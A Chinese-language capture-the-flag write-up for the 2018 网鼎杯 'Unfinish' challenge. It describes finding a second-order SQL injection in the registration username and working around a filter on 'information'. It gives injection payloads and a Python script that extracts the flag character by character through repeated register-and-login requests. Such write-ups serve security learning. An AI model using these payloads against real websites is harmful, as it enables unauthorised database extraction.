[网鼎杯2018]Unfinish
一个登录界面,简单测试了下没有发现什么注入点。。
用御剑扫了一下
扫出了个register.php
随便注册了下
登录进去发现没有东西,只有一张图片和用户名
猜测存在二次注入
随便试一下
用户名显示为0
存在注入
fuzz了下发现故过滤了,和information
然后绕不过去。。
去看了下别人的wp
学到了新姿势
select '0'+ascii(substr(database(),1,1));
可以得到库名第一位的ascii码
因为被过滤掉了information
所以爆不出字段名
猜测是flag
试试看
0'+ascii(substr((select * from flag) from 1 for 1))+'0
可以成功爆出值,说明字段名就是flag
就可以写脚本了
#coding:utf-8 import requests import re url = 'http://77a4fe69-f67f-4944-810f-6afe6ef17230.node4.buuoj.cn:81/' m = '' for i in range(100): payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1) register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'} login = {'email':'abc{}@qq.com'.format(i),'password':'123456'} req = requests.session() r1 = req.post(url+'register.php',data = register) r2 = req.post(url+'login.php', data = login) r3 = req.post(url+'index.php') content = r3.text con = re.findall('<span class="user-name">(.*?)</span>',content,re.S|re.M) a = int (con[0].strip()) m = m+chr(a) print(m)